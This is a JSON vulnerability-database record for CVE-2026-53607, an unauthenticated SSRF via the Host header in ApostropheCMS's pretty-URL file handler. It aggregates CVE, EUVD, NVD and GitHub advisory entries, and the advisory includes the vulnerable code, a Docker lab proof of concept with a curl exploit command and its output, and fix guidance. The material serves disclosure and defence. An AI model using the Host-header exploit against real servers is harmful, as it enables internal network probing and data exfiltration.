{"id":"GHSA-34pj-2622-jvxq","revision":null,"records":[{"revision":"5a3c6d29359d40c4889c48e9b718c37d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-53607","aliases":[],"title":"@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header","description":"ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, when `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header. That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an unauthenticated remote attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralized by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). As of time of publication, no known patched versions exist.","state":0,"publishedAt":"2026-06-12T20:54:30.866+00:00","modifiedAt":"2026-06-15T18:35:34.721+00:00","affected":[{"ecosystem":"Vendor product","name":"apostrophe","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"apostrophecms\",\n                    \"product\": \"apostrophe\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 4.30.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":3.7,"severity":"LOW"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-53607","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-53607","identifiers":["CVE-2026-53607"]},"retained":false,"historicalAffected":[]},{"revision":"e050bb0536484f63bd4af6d1a54620da","observedAt":"2026-11-07T11:38:05.282+00:00","statement":{"source":"euvd","id":"EUVD-2026-36576","aliases":["CVE-2026-53607","GHSA-34pj-2622-jvxq"],"title":"ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, when `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the …","description":"ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, when `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header. That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an unauthenticated remote attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralized by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). As of time of publication, no known patched versions exist.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":3.7,"severity":null}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36576","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 12, 2026, 8:54:30 PM","dateUpdated":"Jun 15, 2026, 6:35:34 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36576","identifiers":["EUVD-2026-36576","CVE-2026-53607","GHSA-34pj-2622-jvxq"]},"retained":false,"historicalAffected":[]},{"revision":"239bd0468363461e90486adcb091e358","observedAt":"2026-10-27T14:13:22.737+00:00","statement":{"source":"nvd","id":"CVE-2026-53607","aliases":[],"title":"ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, when `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the …","description":"ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, when `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header. That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an unauthenticated remote attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralized by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). As of time of publication, no known patched versions exist.","state":0,"publishedAt":"2026-06-12T21:16:24.247+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":3.7,"severity":"LOW"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53607","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-06-12T21:16:24.247","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-53607","identifiers":["CVE-2026-53607"]},"retained":false,"historicalAffected":[]},{"revision":"f2427f61bfb5434980a215677af600fc","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-34pj-2622-jvxq","aliases":["CVE-2026-53607"],"title":"@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header","description":"### Summary\n\nWhen `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO\nfeature for serving uploaded files at clean URLs), the public pretty-URL\nhandler builds the upstream URL using the raw `Host` HTTP request header:\n\n```js\nproxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`\n```\n\nThat URL is then `fetch`'ed and the response body + headers are streamed\nstraight back to the requester. Because `Host` is fully attacker-controlled,\nan **unauthenticated remote** attacker can pivot the apostrophe process to\nissue outbound HTTP requests against any host it can reach on the private\nnetwork. The path component is constrained to\n`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup),\nwhich keeps the impact narrow: cross-instance data exfiltration is\nneutralised by cuid uniqueness, but blind-SSRF residuals remain\n(network-topology mapping via response-code / timing differences and\nverbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0`\n(latest); no fixed release exists.\n\n- **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is\n  configured with `prettyUrls: true` and uploadfs is **local** (the default;\n  S3/CDN deployments produce an absolute `uglyUrl` and are not affected).\n\n### Details\n\n`modules/@apostrophecms/file/index.js` (excerpt; the public GET route\nregistered when `prettyUrls: true`):\n\n```js\nif (!self.options.prettyUrls) return;\nreturn {\n  get: {\n    async [`${self.options.prettyUrlDir}/*`](req, res) {\n      const matches = (req.params[0] || '').match(/^([^.]+)\\.\\w+$/);\n      if (!matches) return res.status(400).send('invalid');\n      const [ , slug ] = matches;\n      if (slug.includes('..') || slug.includes('/')) {\n        return res.status(403).send('forbidden');\n      }\n      const file = await self.find(req, {\n        slug: `${self.options.slugPrefix}${slug}`\n      }).toObject();\n      if (!file) return res.status(404).send('not found');\n\n      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });\n      const proxyUrl = uglyUrl.startsWith('/')\n        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink\n        : uglyUrl;\n      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });\n    }\n  }\n};\n```\n\n`lib/stream-proxy.js` (excerpt):\n\n```js\nmodule.exports = async function(req, url, { error }) {\n  const res = req.res;\n  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;\n  let response;\n  try { response = await fetch(url); }       // <-- attacker-steered fetch\n  catch (e) { return send502(e); }\n  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {\n    const v = response.headers.get(header);\n    if (v != null) res.header(header, v);\n  }\n  res.status(response.status);\n  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));\n};\n```\n\n`req.get('host')` returns the unvalidated `Host` HTTP header from the request.\nExpress does not validate or restrict it, and apostrophe does not check the\nconstructed `proxyUrl` against an allowlist. The upstream's body and\ncontent-type are forwarded verbatim — so any response the targeted host does\nreturn at the constrained path will reach the attacker. In practice the path\nconstraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness\nmean meaningful body exfiltration only occurs against verbose-404 / banner-\nleaky proxies; against most internal services this degenerates to blind\nSSRF (response-code + timing side channels).\n\nPrerequisites are minimal: `prettyUrls: true` (a documented production SEO\noption) + at least one file uploaded with a known slug. Slugs are publicly\nenumerable in normal CMS use (file URLs appear in page content).\n\n**Distinct from the only published apostrophe SSRF advisory,\nGHSA-pr28-mf3q-qpg6** (\"Authenticated SSRF in rich-text widget import via\n@apostrophecms/area validate-widget\"), which is authenticated and lives in a\ncompletely different module/route. This finding is unauthenticated, in\n`@apostrophecms/file`, via the `Host` header.\n\n### PoC\n\nThree services on an isolated Docker network: `mongo`, `internal` (returns a\nfake secret, **never exposed to the host**), `apos:3000` (the only port the\nhost can reach). The host attacker proves it cannot reach `internal`\ndirectly, then exfiltrates `internal`'s response via one crafted request to\n`apos`.\n\n`app.js` (normal apostrophe site, documented option only):\n\n```js\nrequire('apostrophe')({\n  shortName: 'apos-ssrf-poc',\n  autoBuild: false,\n  modules: {\n    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },\n    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },\n    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },\n    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },\n    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)\n  }\n});\n```\n\n`docker-compose.yml`:\n\n```yaml\nservices:\n  mongo: { image: mongo:7, networks: [poc] }\n  internal:\n    image: python:3.12-slim\n    command: [\"python\",\"-c\",\"import http.server,socketserver\\nclass H(http.server.BaseHTTPRequestHandler):\\n    def do_GET(self):\\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\\\n')\\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()\"]\n    networks: [poc]\n  apos:\n    build: .\n    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }\n    depends_on: [mongo, internal]\n    ports: [\"3000:3000\"]\n    networks: [poc]\nnetworks: { poc: { driver: bridge } }\n```\n\n`exploit.sh` (unauthenticated attacker on the host):\n\n```sh\n# 1. Prove the internal target is not reachable from the host\ncurl --max-time 2 -s http://internal/ || echo \"(unreachable, as expected)\"\n\n# 2. ATTACK: same pretty URL, attacker-supplied Host header\ncurl -sS -H 'Host: internal' \"http://127.0.0.1:3000/files/poc.pdf\"\n```\n\nBuild & run:\n\n```sh\ndocker compose build && docker compose up -d && ./exploit.sh\n```\n\nObserved output (`apostrophe@4.30.0`, clean stack):\n\n```\n[probe] confirm the internal target is NOT reachable from the host:\ncurl: (6) Could not resolve host: internal\n[normal] same pretty URL, normal Host header (Host: apos):\nHTTP=502 bytes=49 content-type=text/html; charset=utf-8\nupstream media error fetching data for pretty URL\n\n[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:\nHTTP=200 bytes=64 content-type=text/plain; charset=utf-8\n[ATTACK] response body received by the attacker:\nINTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\n\nRESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).\n```\n\nThe `internal` service is unreachable from the host, but apostrophe fetches\nit on the attacker's behalf and pipes the response body — secret included —\nstraight back over the same HTTP response.\n\n### Impact\n\nUnauthenticated remote SSRF, but the path component is constrained to\n`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup\non a slug the attacker already had to know). That constraint plus cuid\nuniqueness rules out the cases I originally listed:\n\n- **Cloud metadata is _not_ reachable** — AWS IMDS\n  (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure\n  (`/metadata/...`) all live at fixed paths that don't overlap with\n  `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and\n  most internal API surfaces.\n- **Cross-instance data exfiltration is also ruled out.** For an\n  internal target (another apos instance, MinIO bucket, etc.) to serve\n  a body at this path, it would need the exact local cuid + slug, which\n  realistically only happens when the target restored / shares the\n  public site's data — in which case the same content is reachable via\n  the front door anyway. Apostrophe also won't construct a pretty URL\n  for archived / restricted media, closing the older-snapshot edge case.\n\nWhat remains is blind-SSRF residual:\n\n- Network-topology mapping via response-code or response-time\n  differences across internal hosts.\n- Banner / version disclosure from verbose reverse-proxy or WAF 404\n  bodies.\n- Bypassing network egress controls — outbound requests originate from\n  the apostrophe server rather than the attacker.\n\nThe attack requires only the public pretty-URL endpoint and one\npublicly-known file slug, both trivially available in normal CMS\noperation.\n\n### Recommended fix\n\nStop deriving the upstream URL from the request `Host` header. Two\ncomplementary changes:\n\n1. In `modules/@apostrophecms/file/index.js` (the lines that build\n   `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl`\n   or the configured site URL) instead of `req.get('host')`:\n\n   ```js\n   const proxyUrl = uglyUrl.startsWith('/')\n     ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`\n     : uglyUrl;\n   ```\n\n2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the\n   configured apostrophe base URL + any configured CDN host) before calling\n   `fetch`. Defence in depth: future callers of `streamProxy` cannot\n   accidentally reintroduce the gap.\n\nA regression test that sets `Host: 169.254.169.254` (or any non-configured\nhost) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not**\nissued / the response is a 4xx would lock this down.","state":0,"publishedAt":"2026-07-31T21:51:41+00:00","modifiedAt":"2026-07-31T22:00:21.5951482+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.31.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq","https://nvd.nist.gov/vuln/detail/CVE-2026-53607","https://github.com/apostrophecms/apostrophe/pull/5464","https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b","https://github.com/apostrophecms/apostrophe"],"sourceUrl":"https://github.com/advisories/GHSA-34pj-2622-jvxq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-34pj-2622-jvxq","identifiers":["GHSA-34pj-2622-jvxq","CVE-2026-53607"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:46.9707302+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.9707321+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-1766179264875bb4621a23ce4c6bcebec63fb794a16e35c2f5592f4ee300ee2e","complete":true,"records":420944,"lastAttemptAt":"2026-11-07T20:52:46.1142943+00:00","lastSuccessAt":"2026-11-07T20:52:46.0341312+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.1142943+00:00","snapshotPublishedAt":"2026-11-07T20:26:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-cbfb00168958467aaa6015d5230faa08","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T21:04:54.6100336+00:00","lastSuccessAt":"2026-11-07T21:04:54.606+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:04:54.606+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:47.1482288+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:47.1482303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b9464f9c589b4886928e7045b5ad1e11","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:52:54.6850231+00:00","lastSuccessAt":"2026-11-07T20:52:54.68+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:54.68+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:52:46.6024506+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.6024506+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:52:46.3552169+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.3552169+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:52:46.7261257+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.7261257+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:52:46.4923243+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.4923243+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}